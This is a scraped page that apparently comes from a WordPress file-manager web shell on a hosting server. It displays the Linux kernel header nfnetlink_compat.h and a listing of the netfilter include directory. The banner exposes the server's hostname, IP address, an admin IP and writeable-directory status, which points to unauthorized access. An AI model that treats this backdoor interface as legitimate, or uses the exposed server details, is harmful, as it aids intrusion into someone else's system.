$45 GRAYBYTE WORDPRESS FILE MANAGER $39

SERVER : vnpttt-amd7f72-h1.vietnix.vn #1 SMP Fri May 24 12:42:50 UTC 2024
SERVER IP : 103.200.23.149 | ADMIN IP 216.73.216.22
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/usr/include/linux/netfilter/

HOME
Current File : /usr/include/linux/netfilter//nfnetlink_compat.h
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _NFNETLINK_COMPAT_H
#define _NFNETLINK_COMPAT_H

#include <linux/types.h>

/* Old nfnetlink macros for userspace */

/* nfnetlink groups: Up to 32 maximum */
#define NF_NETLINK_CONNTRACK_NEW 		0x00000001
#define NF_NETLINK_CONNTRACK_UPDATE		0x00000002
#define NF_NETLINK_CONNTRACK_DESTROY		0x00000004
#define NF_NETLINK_CONNTRACK_EXP_NEW		0x00000008
#define NF_NETLINK_CONNTRACK_EXP_UPDATE		0x00000010
#define NF_NETLINK_CONNTRACK_EXP_DESTROY	0x00000020

/* Generic structure for encapsulation optional netfilter information.
 * It is reminiscent of sockaddr, but with sa_family replaced
 * with attribute type.
 * ! This should someday be put somewhere generic as now rtnetlink and
 * ! nfnetlink use the same attributes methods. - J. Schulist.
 */

struct nfattr {
	__u16 nfa_len;
	__u16 nfa_type;	/* we use 15 bits for the type, and the highest
				 * bit to indicate whether the payload is nested */
};

/* FIXME: Apart from NFNL_NFA_NESTED shamelessly copy and pasted from
 * rtnetlink.h, it's time to put this in a generic file */

#define NFNL_NFA_NEST	0x8000
#define NFA_TYPE(attr) 	((attr)->nfa_type & 0x7fff)

#define NFA_ALIGNTO     4
#define NFA_ALIGN(len)	(((len) + NFA_ALIGNTO - 1) & ~(NFA_ALIGNTO - 1))
#define NFA_OK(nfa,len)	((len) > 0 && (nfa)->nfa_len >= sizeof(struct nfattr) \
	&& (nfa)->nfa_len <= (len))
#define NFA_NEXT(nfa,attrlen)	((attrlen) -= NFA_ALIGN((nfa)->nfa_len), \
	(struct nfattr *)(((char *)(nfa)) + NFA_ALIGN((nfa)->nfa_len)))
#define NFA_LENGTH(len)	(NFA_ALIGN(sizeof(struct nfattr)) + (len))
#define NFA_SPACE(len)	NFA_ALIGN(NFA_LENGTH(len))
#define NFA_DATA(nfa)   ((void *)(((char *)(nfa)) + NFA_LENGTH(0)))
#define NFA_PAYLOAD(nfa) ((int)((nfa)->nfa_len) - NFA_LENGTH(0))
#define NFA_NEST(skb, type) \
({	struct nfattr *__start = (struct nfattr *)skb_tail_pointer(skb); \
	NFA_PUT(skb, (NFNL_NFA_NEST | type), 0, NULL); \
	__start;  })
#define NFA_NEST_END(skb, start) \
({      (start)->nfa_len = skb_tail_pointer(skb) - (unsigned char *)(start); \
        (skb)->len; })
#define NFA_NEST_CANCEL(skb, start) \
({      if (start) \
                skb_trim(skb, (unsigned char *) (start) - (skb)->data); \
        -1; })

#define NFM_NFA(n)      ((struct nfattr *)(((char *)(n)) \
        + NLMSG_ALIGN(sizeof(struct nfgenmsg))))
#define NFM_PAYLOAD(n)  NLMSG_PAYLOAD(n, sizeof(struct nfgenmsg))

#endif /* _NFNETLINK_COMPAT_H */

Current_dir [ NOT WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
16 Dec 2025 9.31 PM
root / root
0755
ipset
--
16 Dec 2025 9.31 PM
root / root
0755
nf_conntrack_common.h
4.48 KB
12 Nov 2025 5.20 PM
root / root
0644
nf_conntrack_ftp.h
0.428 KB
12 Nov 2025 5.20 PM
root / root
0644
nf_conntrack_sctp.h
0.563 KB
12 Nov 2025 5.20 PM
root / root
0644
nf_conntrack_tcp.h
1.382 KB
12 Nov 2025 5.20 PM
root / root
0644
nf_conntrack_tuple_common.h
0.875 KB
12 Nov 2025 5.20 PM
root / root
0644
nf_log.h
0.525 KB
12 Nov 2025 5.20 PM
root / root
0644
nf_nat.h
1.486 KB
12 Nov 2025 5.20 PM
root / root
0644
nf_osf.h
1.902 KB
12 Nov 2025 5.20 PM
root / root
0644
nf_tables.h
48.243 KB
12 Nov 2025 5.20 PM
root / root
0644
nf_tables_compat.h
0.714 KB
12 Nov 2025 5.20 PM
root / root
0644
nfnetlink.h
2.371 KB
12 Nov 2025 5.20 PM
root / root
0644
nfnetlink_acct.h
0.879 KB
12 Nov 2025 5.20 PM
root / root
0644
nfnetlink_compat.h
2.387 KB
12 Nov 2025 5.20 PM
root / root
0644
nfnetlink_conntrack.h
6.016 KB
12 Nov 2025 5.20 PM
root / root
0644
nfnetlink_cthelper.h
1.174 KB
12 Nov 2025 5.20 PM
root / root
0644
nfnetlink_cttimeout.h
2.861 KB
12 Nov 2025 5.20 PM
root / root
0644
nfnetlink_log.h
2.733 KB
12 Nov 2025 5.20 PM
root / root
0644
nfnetlink_queue.h
3.417 KB
12 Nov 2025 5.20 PM
root / root
0644
x_tables.h
4.362 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_AUDIT.h
0.701 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_CHECKSUM.h
0.55 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_CLASSIFY.h
0.212 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_CONNMARK.h
0.194 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_CONNSECMARK.h
0.294 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_CT.h
0.833 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_DSCP.h
0.681 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_HMARK.h
0.911 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_IDLETIMER.h
1.36 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_LED.h
0.459 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_LOG.h
0.627 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_MARK.h
0.18 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_NFLOG.h
0.543 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_NFQUEUE.h
0.761 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_RATEEST.h
0.381 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_SECMARK.h
0.633 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_SYNPROXY.h
0.409 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_TCPMSS.h
0.229 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_TCPOPTSTRIP.h
0.397 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_TEE.h
0.325 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_TPROXY.h
0.562 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_addrtype.h
1.059 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_bpf.h
0.913 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_cgroup.h
0.452 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_cluster.h
0.365 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_comment.h
0.225 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_connbytes.h
0.563 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_connlabel.h
0.352 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_connlimit.h
0.562 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_connmark.h
0.879 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_conntrack.h
2.497 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_cpu.h
0.194 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_dccp.h
0.472 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_devgroup.h
0.419 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_dscp.h
0.685 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_ecn.h
0.719 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_esp.h
0.408 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_hashlimit.h
3.18 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_helper.h
0.184 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_ipcomp.h
0.474 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_iprange.h
0.567 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_ipvs.h
0.664 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_l2tp.h
0.722 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_length.h
0.216 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_limit.h
0.657 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_mac.h
0.222 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_mark.h
0.254 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_multiport.h
0.704 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_nfacct.h
0.294 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_osf.h
1.79 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_owner.h
0.41 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_physdev.h
0.54 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_pkttype.h
0.184 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_policy.h
0.998 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_quota.h
0.391 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_rateest.h
0.839 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_realm.h
0.215 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_recent.h
1.033 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_rpfilter.h
0.313 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_sctp.h
2.271 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_set.h
1.784 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_socket.h
0.625 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_state.h
0.323 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_statistic.h
0.699 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_string.h
0.648 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_tcpmss.h
0.247 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_tcpudp.h
1.221 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_time.h
0.713 KB
12 Nov 2025 5.20 PM
root / root
0644
xt_u32.h
0.734 KB
12 Nov 2025 5.20 PM
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF